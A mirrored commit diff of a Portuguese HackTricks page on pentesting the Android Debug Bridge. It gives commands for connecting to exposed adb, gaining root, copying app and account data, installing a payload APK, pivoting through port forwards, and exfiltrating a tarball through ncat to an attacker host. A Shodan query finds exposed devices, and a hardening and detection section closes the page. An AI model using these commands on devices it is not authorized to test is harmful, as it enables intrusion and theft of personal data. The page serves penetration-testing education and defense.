mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5555-android-debug-bridge.m
This commit is contained in:
parent
5486dce6de
commit
96953c08f4
@ -6,40 +6,141 @@
|
|||||||
|
|
||||||
Do [documentos](https://developer.android.com/studio/command-line/adb):
|
Do [documentos](https://developer.android.com/studio/command-line/adb):
|
||||||
|
|
||||||
**Android Debug Bridge** (adb) é uma ferramenta de linha de comando versátil que permite comunicar-se com um dispositivo. O comando adb facilita uma variedade de ações no dispositivo, como **instalar e depurar aplicativos**, e fornece **acesso a um shell Unix** que você pode usar para executar uma variedade de comandos em um dispositivo.
|
Android Debug Bridge (adb) é uma ferramenta de linha de comando para se comunicar com dispositivos e emuladores baseados em Android. As ações típicas incluem instalar pacotes, depurar e obter um shell Unix interativo no dispositivo.
|
||||||
|
|
||||||
**Porta padrão**: 5555.
|
- Porta TCP padrão histórica: 5555 (modo clássico "adb tcpip").
|
||||||
|
- A depuração sem fio moderna (Android 11+) usa emparelhamento TLS e descoberta de serviço mDNS. A porta de conexão é dinâmica e descoberta via mDNS; pode não ser 5555. O emparelhamento é feito com adb pair host:port seguido de adb connect. Veja as notas abaixo para implicações ofensivas.
|
||||||
|
|
||||||
|
Exemplo de impressão digital nmap:
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||||
```
|
```
|
||||||
## Conectar
|
## Conectar
|
||||||
|
|
||||||
Se encontrar o serviço ADB rodando em uma porta de um dispositivo e você puder se conectar a ele, **você pode obter um shell dentro do sistema:**
|
Se você encontrar o ADB exposto e acessível, tente se conectar e enumerar rapidamente:
|
||||||
```bash
|
```bash
|
||||||
adb connect 10.10.10.10
|
adb connect <ip>[:<port>] # Default is 5555 for classic mode
|
||||||
adb root # Try to escalate to root
|
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
|
||||||
adb shell
|
adb shell # Get an interactive shell (uid usually shell)
|
||||||
|
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||||||
|
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||||||
```
|
```
|
||||||
Para mais comandos ADB, verifique a seguinte página:
|
- Se o dispositivo impõe autenticação ADB (ro.adb.secure=1), você precisará ser pré-autorizado (autenticação USB RSA) ou usar o emparelhamento de depuração sem fio do Android 11+ (que requer um código de uso único exibido no dispositivo).
|
||||||
|
- Algumas imagens de fornecedores, builds de engenharia/userdebug, emuladores, TVs, STBs e kits de desenvolvimento expõem adbd sem autenticação ou com adbd rodando como root. Nesses casos, você normalmente cairá diretamente em um shell ou shell root.
|
||||||
|
|
||||||
|
Para uma referência geral de comandos ADB, veja:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../mobile-pentesting/android-app-pentesting/adb-commands.md
|
../mobile-pentesting/android-app-pentesting/adb-commands.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Extrair dados do aplicativo
|
## Rápida Pós-Exploração
|
||||||
|
|
||||||
Para baixar completamente os dados de um aplicativo, você pode:
|
Uma vez que você tenha o shell, valide privilégios e contexto SELinux:
|
||||||
```bash
|
```bash
|
||||||
# From a root console
|
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
|
||||||
chmod 777 /data/data/com.package
|
|
||||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
|
||||||
adb pull "/sdcard/com.package"
|
|
||||||
```
|
```
|
||||||
Você pode usar esse truque para **recuperar informações sensíveis como senhas do chrome**. Para mais informações sobre isso, verifique as informações nas referências fornecidas [**aqui**](https://github.com/carlospolop/hacktricks/issues/274).
|
### Enumerar e capturar dados
|
||||||
|
|
||||||
|
- Liste aplicativos de terceiros e caminhos:
|
||||||
|
```bash
|
||||||
|
pm list packages -3
|
||||||
|
pm path <pkg>
|
||||||
|
```
|
||||||
|
- Se você tiver root (adb root ou su funciona), você pode acessar /data diretamente. Se não, prefira run-as para aplicativos depuráveis:
|
||||||
|
```bash
|
||||||
|
# Sem root, para um aplicativo depurável
|
||||||
|
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
|
||||||
|
|
||||||
|
# Com root
|
||||||
|
cp -a /data/data/<pkg> /sdcard/<pkg>
|
||||||
|
exit
|
||||||
|
adb pull "/sdcard/<pkg>"
|
||||||
|
```
|
||||||
|
- Artefatos de sistema úteis (root necessário):
|
||||||
|
- /data/system/users/0/accounts.db e dados relacionados ao AccountManager
|
||||||
|
- /data/misc/wifi/ (configurações/chaves de rede em versões mais antigas)
|
||||||
|
- DBs SQLite específicos do aplicativo e shared_prefs em /data/data/<pkg>
|
||||||
|
|
||||||
|
Você pode usar isso para recuperar informações sensíveis (por exemplo, segredos do aplicativo). Para notas sobre considerações de dados do Chrome, veja a questão referenciada [aqui](https://github.com/carlospolop/hacktricks/issues/274).
|
||||||
|
|
||||||
|
### Execução de código e entrega de payload
|
||||||
|
|
||||||
|
- Instale e conceda permissões de execução automaticamente:
|
||||||
|
```bash
|
||||||
|
adb install -r -g payload.apk # -g concede todas as permissões de execução declaradas no manifesto
|
||||||
|
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
|
||||||
|
```
|
||||||
|
- Inicie atividades/serviços/transmissões diretamente:
|
||||||
|
```bash
|
||||||
|
adb shell am start -n <pkg>/<activity>
|
||||||
|
adb shell am startservice -n <pkg>/<service>
|
||||||
|
adb shell am broadcast -a <action>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Encaminhamento de porta e pivotagem
|
||||||
|
|
||||||
|
Mesmo sem root, adb pode encaminhar portas locais para portas do dispositivo e vice-versa. Isso é útil para acessar serviços vinculados localmente no dispositivo ou para expor serviços do atacante ao dispositivo.
|
||||||
|
|
||||||
|
- Encaminhar host->dispositivo (acessar um serviço local do dispositivo a partir do seu host):
|
||||||
|
```bash
|
||||||
|
adb forward tcp:2222 tcp:22 # Se o dispositivo executar SSH (por exemplo, Termux/Dropbear)
|
||||||
|
adb forward tcp:8081 tcp:8080 # Expor o servidor de depuração local do aplicativo
|
||||||
|
```
|
||||||
|
- Reverso dispositivo->host (deixar o dispositivo acessar um serviço no seu host):
|
||||||
|
```bash
|
||||||
|
adb reverse tcp:1080 tcp:1080 # Aplicativos do dispositivo agora podem acessar host:1080 como 127.0.0.1:1080
|
||||||
|
```
|
||||||
|
- Exfiltração de arquivos através de sockets (sem gravações no sdcard):
|
||||||
|
```bash
|
||||||
|
# No host: escutar
|
||||||
|
ncat -lvp 9000 > dump.tar
|
||||||
|
# No dispositivo: enviar diretório como tar (root ou run-as conforme aplicável)
|
||||||
|
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
|
||||||
|
```
|
||||||
|
|
||||||
|
## Depuração Sem Fio (Android 11+)
|
||||||
|
|
||||||
|
O Android moderno implementa depuração sem fio protegida por TLS com emparelhamento do lado do dispositivo e descoberta mDNS:
|
||||||
|
```bash
|
||||||
|
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
|
||||||
|
# On attacker host (same L2 network, mDNS allowed):
|
||||||
|
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
|
||||||
|
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
|
||||||
|
adb connect <device_ip>:<conn_port>
|
||||||
|
```
|
||||||
|
Notas
|
||||||
|
- As portas são dinâmicas; não assuma 5555. Os nomes de serviços mDNS parecem com:
|
||||||
|
- _adb-tls-pairing._tcp (pareamento)
|
||||||
|
- _adb-tls-connect._tcp (conexão pareada)
|
||||||
|
- _adb._tcp (legado/simples)
|
||||||
|
- Se o mDNS estiver filtrado, a habilitação clássica assistida por USB ainda pode funcionar em algumas versões: `adb tcpip 5555` então `adb connect <ip>:5555` (até reinicialização).
|
||||||
|
|
||||||
|
Implicações ofensivas: se você puder interagir com a interface do dispositivo (por exemplo, acesso físico ou configuração incorreta de MDM móvel) para habilitar a depuração sem fio e visualizar o código de pareamento, você pode estabelecer um canal ADB pareado de longa duração sem um cabo. Alguns OEMs expõem ADB sobre TCP em imagens de engenharia/desenvolvimento sem pareamento—sempre verifique.
|
||||||
|
|
||||||
|
## Fortalecimento / Detecção
|
||||||
|
|
||||||
|
Os defensores devem assumir que qualquer adbd (TCP) acessível é um risco crítico.
|
||||||
|
|
||||||
|
- Desative ADB e a depuração sem fio quando não necessário. Revogue autorizações de depuração USB nas opções de desenvolvedor.
|
||||||
|
- Certifique-se de que a política de rede bloqueie TCP/5555 de entrada e a descoberta ADB baseada em mDNS em segmentos não confiáveis.
|
||||||
|
- Em dispositivos sob seu controle:
|
||||||
|
```bash
|
||||||
|
settings put global adb_enabled 0
|
||||||
|
setprop service.adb.tcp.port -1 # desabilitar escuta TCP (ou use: adb usb)
|
||||||
|
stop adbd; start adbd # reiniciar daemon
|
||||||
|
```
|
||||||
|
- Monitore registros mDNS `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` em redes corporativas e alertas para ouvintes 5555 inesperados.
|
||||||
|
- Faça um inventário de versões inseguras: `getprop ro.debuggable`, `ro.build.type`, e `ro.adb.secure`.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
- `android debug bridge`
|
- android debug bridge
|
||||||
|
- port:5555 product:"Android Debug Bridge"
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
|
||||||
|
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user